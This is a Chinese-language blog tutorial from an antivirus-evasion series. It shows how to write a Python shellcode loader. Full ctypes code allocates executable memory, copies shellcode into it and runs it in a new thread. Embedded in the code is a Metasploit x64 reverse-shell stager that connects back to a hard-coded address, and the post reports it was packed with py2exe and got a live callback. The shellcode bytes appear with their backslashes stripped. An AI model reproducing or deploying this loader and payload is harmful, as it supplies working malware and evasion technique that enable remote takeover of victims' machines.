免杀专题(二)loader编写以python为例

阅读: 评论:0

免杀专题(二)loader编写以python为例

免杀专题(二)loader编写以python为例

免杀专题(二)loader编写以python为例

先贴代码

import ctypes#shellcode加载
def shellCodeLoad(shellcode):ctypes.windll.stype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 												  ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))if __name__ == "__main__":shellCodeLoad(bytearray(b'xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52x48x31xd2x51x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x56x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49x01xd0xe3x56x4dx31xc9x48xffxc9x41x8bx34x88x48x01xd6x48x31xc0x41xc1xc9x0dxacx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5x49xbcx02x00x22xc3xc0xa8x9fx94x41x54x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5'))

ctypes库

python的ctypes模块是内建,用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。

设置返回类型

我们需要用到VirtualAlloc来申请内存,返回类型必须和我们系统的位数一样

默认32位

ctypes.windll.stype = ctypes.c_uint64

申请内存

调用Virtualalloc来申请内存。

VirtualAlloc是一个Windows API函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。包含在windows系统文件Kernel32.dll中

简单点的意思就是申请内存空间

VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, //要分配的内存区域的地址
DWORD dwSize,      //分配的大小
DWORD flAllocationType, //分配的类型
DWORD flProtect     //该内存的初始保护属性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.c_int(0)是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode))以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000)是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40)是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。

将shellcode载入内存

调用RtlMoveMemory函数,这个函数是从指定内存中复制内容到另一个内存里

RtlMoveMemory函数原型和参数如下:

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                     						 buf,ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//线程安全属性
SIZE_T dwStackSize,       //置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  //指向线程函数的指针
LPVOID lpParameter,          //向线程函数传递的参数
DWORD dwCreationFlags,       //线程创建属性
LPDWORD lpThreadId           //保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
lpThreadAttributes为NULL使用默认安全性
dwStackSize为0,默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress为ctypes.c_uint64(ptr),定位到申请的内存所在的位置
lpParameter不需传递参数时为NULL
dwCreationFlags属性为0,表示创建后立即激活
lpThreadId为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

等待进程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。

这里两个参数,一个是创建的线程,一个是等待时间

当线程退出时会给出一个信号,函数收到后会结束程序。

当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。

WaitForSingleObject函数原型和参数如下:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

后面入口函数里面那一堆是msf shellcode

使用py2exe打包后运行

成功上线

总结

总的来说就是 首先申请一块内存,将shellcode存入该内存,然后运行该内存储存的程序,并让该程序一直运行下去。

本文发布于:2024-01-27 20:48:21,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17063597032547.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:JaveScript
下一篇:js逆向
标签:为例   专题   loader   python
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23